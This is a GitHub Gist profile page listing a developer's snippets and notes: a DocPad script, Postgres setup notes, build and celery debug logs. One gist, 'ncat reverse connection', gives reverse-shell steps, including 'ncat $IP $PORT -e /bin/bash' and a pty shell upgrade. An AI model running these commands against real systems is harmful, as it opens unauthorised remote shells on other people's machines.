Skip to content

Instantly share code, notes, and snippets.

View mikeumus's full-sized avatar
🪐
ARTEMIS

Michael Duane Mooring mikeumus

🪐
ARTEMIS
View GitHub Profile
@mikeumus
mikeumus / cc-chain.js
Last active April 28, 2016 19:00
chainy write docpad documents
"use strict";
var fs = require('fs');
var mpath = require('mpath'); // For saving the query from the API json: https://www.npmjs.com/package/mkdirp
var mkdirp = require('mkdirp'); // For creating folders that didn't already exist: https://www.npmjs.com/package/mkdirp
var menuItem = require('./menuItem.js');
var chainyJsonDoc, name;
/**
* A module using Bevry's Chainy.js to create DocPad
* files via json pulled from an API that follow the following format:
@mikeumus
mikeumus / posgres-in-c9.md
Last active January 9, 2023 18:39
PostgreSQL in Cloud9 IDE
Gist shortlink: https://git.io/vV0xB

Official Living Doc for Postgres in C9: https://community.c9.io/t/setting-up-postgresql/1573

@mikeumus' Postgres in Cloud9 Notes:
`sudo python ./manage.py runserver`
```
mikeumus:~/workspace (master) $ python ./manage.py runserver $IP:$PORT
Performing system checks...
System check identified no issues (0 silenced).
November 22, 2015 - 01:49:56
Django version 1.7.4, using settings 'coderbounty.settings'
Starting development server at http://0.0.0.0:8080/
@mikeumus
mikeumus / ncat-connect.md
Last active August 29, 2015 14:24
ncat reverse connection

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

  1. Make sure you have netcat and nmap installed. I search for them in synaptic myself sudo synaptic -> Search: "nmap" and "netcat traditional"

  2. sudo nc -l 443 # to listen on port 443

  3. ncat $IP $PORT -e /bin/bash or /bin/sh # reverse connection, example: ncat x.x.x.x 443 -e /bin/sh

  4. python -c "import pty; pty.spawn('/bin/bash')"

@mikeumus
mikeumus / install-finalterm.md
Last active August 29, 2015 14:23
FinalTerm install on Ubuntu 14.04 Trusty
@mikeumus
mikeumus / event camera output
Last active August 29, 2015 14:23
django-celery in --loglevel=DEBUG
```
mikeumus@celery-django-example:~/workspace (master) $ ./manage.py celery events --camera=djcelery.snapshot.Camera --loglevel=DEBUG
-> evcam: Taking snapshots with djcelery.snapshot.Camera (every 1.0 secs.)
[2015-06-20 19:38:37,974: INFO/MainProcess] Connected to django://localhost//
[2015-06-20 19:38:37,978: DEBUG/MainProcess] (0.001) QUERY = u'SELECT "djkombu_queue"."id", "djkombu_queue"."name" FROM "djkombu_queue" WHERE "djkombu_queue"."name" = %s LIMIT 21' - PARAMS = (u'celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',); args=('celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',)
[2015-06-20 19:38:37,979: DEBUG/MainProcess] (0.000) QUERY = u'BEGIN' - PARAMS = (); args=None
[2015-06-20 19:38:37,980: DEBUG/MainProcess] (0.001) QUERY = u'INSERT INTO "djkombu_queue" ("name") VALUES (%s)' - PARAMS = (u'celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',); args=['celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4']
[2015-06-20 19:38:37,991: DEBUG/MainProcess] (0.000) QUERY = u'SELECT "djkombu_queue"."id", "djkombu_queue"."
@mikeumus
mikeumus / designer.html
Last active August 29, 2015 14:20
designer
<link rel="import" href="../paper-slider/paper-slider.html">
<polymer-element name="my-element">
<template>
<style>
:host {
position: absolute;
width: 100%;
height: 100%;
@mikeumus
mikeumus / egsbwf.md
Last active August 29, 2015 14:17
extras generate stopping on balupton-webiste feedr

mikeumus bevry/extras ./app generate https://github.com/mikeumus/extras/blob/docpad-6.x-dev/app.coffee#L400

warning: Feedr is parsing [http://i.vimeocdn.com/video/216759288_200x150.jpg] on [/home/mikeumus/tmp/282a76ec63fdd6e7c73cb41f3f000019.jpg-meta.json], parse failed SyntaxError: Unexpected token }
  at Object.parse (native)
  at /home/mikeumus/Downloads/Bevry/DocPad/Dev/extras/skeletons/balupton-website/node_modules/docpad-plugin-cachr/node_modules/feedr/out/lib/feedr.js:365:25
  at /home/mikeumus/Downloads/Bevry/DocPad/Dev/extras/skeletons/balupton-website/node_modules/docpad-plugin-cachr/node_modules/feedr/out/lib/feedr.js:352:20
  at evalmachine.<anonymous>:336:14
  at /home/mikeumus/Downloads/Bevry/DocPad/Dev/extras/skeletons/balupton-website/node_modules/docpad-plugin-cachr/node_modules/feedr/node_modules/safefs/node_modules/graceful-fs/graceful-fs.js:102:5
@mikeumus
mikeumus / extras-generate-missing-src.md
Created March 15, 2015 16:00
extras generate missing src/
(precise)mikeumus@localhost:~/Downloads/Bevry/DocPad/Dev/extras$ sudo ./app generate
Casteasoft-zurb-foundation.docpad
info: Welcome to DocPad v6.74.0 (global installation: /home/mikeumus/Downloads/Bevry/DocPad/Dev/docpad)
notice: If everyone who saw this message donated $1/week, maintaining DocPad would become sustainable: http://docpad.org/donate
info: Contribute: http://docpad.org/docs/contribute
info: Plugins: 
info: Environment: development
notice: DocPad is currently running without any plugins installed. You probably want to install some: http://docpad.org/plugins
info: Generating...
@mikeumus
mikeumus / npm-link-thing.md
Last active August 29, 2015 14:17
`npm link` thing